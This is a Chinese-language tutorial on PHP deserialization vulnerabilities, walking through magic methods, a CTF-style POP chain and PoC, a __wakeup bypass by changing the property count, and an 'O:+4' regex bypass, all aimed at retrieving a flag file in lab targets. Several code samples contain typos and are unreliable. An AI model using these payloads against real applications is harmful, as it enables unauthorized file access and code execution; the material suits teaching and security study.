PHP反序列化漏洞

文章目录


前言

序列化是将对象的状态信息转换为可以存储或传输得到形式的过程

序列化(Serialization)在计算机科学的数据处理中,是指将数据结构对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中能恢复原先状态的过程。其作用主要体现在以下几个方面:

1、方便网络传输:在网络通信中,数据需要以特定的格式进行传输。序列化可以将对象转换为字节流,从而方便地在网络上传输。接收方再对这些字节流进行反序列化,即可恢复出原始的对象。这对于分布式系统和微服务架构中的数据传输尤为重要。

2、方便数据存储:序列化可以将对象转换为紧凑的字节流形式,从而节省存储空间。同时,通过将对象持久化到外部存储中(如数据库、文件系统等),可以在需要时通过反序列化恢复出对象,实现数据的长期保存和恢复。

3、实现对象的持久化:对象持久化是指将对象的状态保存到存储介质中,以便在程序重新启动或重新加载时能够恢复对象的状态。序列化是实现对象持久化的一种有效手段。通过将对象序列化为字节流并存储到磁盘或其他持久化存储介质中,可以在需要时通过反序列化恢复出对象。

4、方便协议解释:序列化中的"序"即有序的意思,有序的字符串序列可以供绝大多数的编程语言解释。例如,Protocol Buffers等序列化框架可以生成跨平台、跨语言的序列化代码,使得不同语言之间的数据传输和协议解释变得更加方便。

然而,序列化也存在一些不足和潜在的安全问题。例如,序列化过程可能会增加一定的性能开销;同时,反序列化过程中如果处理不当,可能会引发安全漏洞,如反序列化攻击等。因此,在使用序列化功能时,需要权衡其优缺点,并采取相应的安全措施来保障系统的稳定性和安全性。

一、反序列化

反序列化是将序列化得到的字符串转化为一个对象的过程

反序列化生成的对象的 成员属性值被反序列化字符串 决定,与 原来 类 预定义 的 值 无关(这句话说明我们可以通过修改序列化的字符来改变对象的属性值 );

反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串;

反序列化不触发类的成员方法,需要调用方法后才能触发。

php 复制代码
class demo{
	public $name = "12345";
	private $age;
	public function jr(){
		echo $thid->name;
	}
}
// 0:4:"demo":2:{s:4:"name";s:5:"12345";s:9:"%00demo%00age";N;}
echo serialize(new demo());

我们通过修改序列化后的字符串,然后将修改后的字符串进行反序列化就可以达到修改对象的目的。

二、反序列化漏洞利用

反序列化漏洞的原因:反序列化过程中,unserialize()接收的值可控

既然我们知道了,如果有一个接口或程序可以接受一个序列化字符串,然后会进行反序列化,那么我们是不是可以篡改这个序列化字符串,在其中加入一些我们要实现的指令,让他触发,从而达到我们的目的呢?

看到这里,我们又会发现一个问题,那就是我们要怎么去让篡改后的数据,让其在服务器中反序列化时会触发我们植入的命令呢?

下面就是在PHP中一些可以让命令触发的方法。

1.魔法方法

魔法方法是一个预定好的、在特定情况下自动触发的行为方法;

魔法方法的作用:魔术方法在特定条件下自动调用相关方法最终导致触发代码

__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //调用对象不可访问、不存在的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //调用不可访问、不存在的对象成员属性时触发
__set() //在给不可访问、不存在的对象成员属性赋值时触发
__isset() //当对不可访问属性调用isset()或empty()时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //把对象当初函数调用时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //把对象当成字符串调用时触发
__clone() //使用clone关键字拷贝完一个对象后触发

2.构造POP链

下面是一个PHP靶场代码

php 复制代码
class Modifier{
	private Svar; I
    // $var=flag.php
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
Modifier类当函数去调用时,会触发__invoke,由这个去调用append,输出flag


class Show{
    public $source;
    public $str;
    public function __toString(){
    		return $this->str->source;
    	}
    public function __wakeup(){
    	echo $this->source;
    }
}
Show类执行反序列化时,会调用__wakeup,由其输出source(可以认为source是一个对象,然后在这里是当字符串调用的,可以触发toString)
当成字符串调用时,会调用toString,由其返回从str(str是某个对象)中获取source,然后赋值给这个对象的source

class Test{
	// Modifier
    public $p;
    public function __construct(){
    	$this->p = array();
    }
    public function __get($key){
    	$function $this->p;
    	return $function();
    }
}
当Test类创建时会触发__construct,给p赋值一个数组array()
当调用不可访问、不存在的对象成员属性时触发__get,我们可以给p赋值一个类,让其将这个类当函数调用触发__invoke

这里传一个pop序列化的值
if(isset($_GET['pop'])){
	unserialize($_GET['pop']);
}

反序列化会调用__wakeup,会输出source,如果我们将Test赋值给Show的str,Show赋值给source,那么我们反序列化时就会让其触发__wakeup,去将自己当字符串去调用,从而触发__toString,让其(str=Test)访问一个不存在的属性source,从而触发Test的__get。 我们的目的是要获得flag,那么我们就要append触发,这个要触发就要__invoke触发,这个要触发就需要有将Modifier类当函数去执行的方法,就是Test里面的__get,我们要将p赋值为Modifier,这时就要访问Test中不可访问、不存在的对象成员属性时触发__get,同时向其中传入Modifier,此时就会让其输出flag

构建poc
php 复制代码
class Modifier{
	private $var = "flag.php";
}

class Show{
	public $source;
	public $str;
}

class Test{
	public $p;
}

$mod = new Modifier();
$show = new Show();
$test = new Test();
$test->p = $mod;
$show->source = $show;
$show->str = $test;

echo serialize($show);

用此构造的poc(构造poc只需要属性)得到的序列传入pop即可得到flag

例题
php 复制代码
class HaHaHa{
    public Sadmin;
    public Spasswd;
    
    public function _construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

    public function _wakeup(){
    	Sthis->passwd = shal($this->passwd);
    }
    public function _destruct(){
    	if($this->admin == "admin" && $this->passwd ==="wllm"){
    		include("flag. php");
    		echo $flag;
    	}else{
            echo $this->passwd;
            echo "No wake up";
        }
    }
}
$Letmeseesee = $_GET['p'];
unserialize (SLetmeseesee);

在这里我们如果直接反序列化时,就会调用__wakeup对passwd进行sha1加密,所以我们需要进行绕过

php 复制代码
POC:
class HaHaHa{
	public Sadmin = "user";
    public Spasswd = "wllm";
}
serialize (SLetmeseesee);

得到O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

我们修改其中的属性的个数2改为3就可以绕过__wakeup

当传入的属性个数大于实际属性个数时,__wakeup就不会执行

绕过正则
php 复制代码
class Demo
{

	private $file ='index. php';

	public function __construct($file)
    {
    	$this->file $file;
    }
    
    function __destruct()
    {
        echo @highlight_file($this->file,true);
    }
    
    function __wakeup()
    {
        if ($this->file != 'index. php'){
        //the secret is in the fl4g.php
        $this->file = 'index. php';
    }
}


if (isset($_GET['var'])){
    $var base64_decode($_GET['var']);
   //用0:+4可以绕过正则匹配
    if (preg_match('/[oc]:\d+:/i', $var)){//匹配是否有序列化
    	die('stop hacking!');
    }else{
    	@unserialize($var);
    }
}else{
	highlight_file( filename: "index. php");
}
POC
php 复制代码
Class Demo{
	private $file ='flag. php';
}

echo serialize(new Demo());
O:4:"Demo":1:{s:10:"Demofile";s:8:"flag.php";}
修改为O:+4:"Demo":2:{s:10:"Demofile";s:8:"flag.php";}

下一期

Java反序列化漏洞

相关推荐
你有抖音吗3 分钟前
【每日 C/C++ 问题】
开发语言·c++
大鲤余10 分钟前
rust 中if let、match -》 options和Result枚举类型
开发语言·后端·rust
raoxiaoya15 分钟前
python安装selenium,geckodriver,chromedriver
开发语言·python·selenium
事业运财运爆棚17 分钟前
PHP加密的方式
php
weixin_4426434228 分钟前
FileLink如何帮助医疗行业实现安全且高效的跨网文件交换
网络·安全·web安全·filelink跨网文件交换
小鸡脚来咯39 分钟前
java 中List 的使用
java·开发语言
南棱笑笑生1 小时前
20241105编译Rockchip原厂的Android13并给荣品PRO-RK3566开发板刷机
java·开发语言·前端
Dxy12393102161 小时前
python使用requests发送请求ssl错误
开发语言·python·ssl
小林熬夜学编程1 小时前
【Linux系统编程】第四十二弹---多线程编程全攻略:涵盖线程创建、异常处理、用途、进程对比及线程控制
linux·服务器·c语言·开发语言·c++
昂子的博客1 小时前
通过mybatis和mybatis plus 实现用户注册功能和基础的增删改查
java·开发语言·mybatis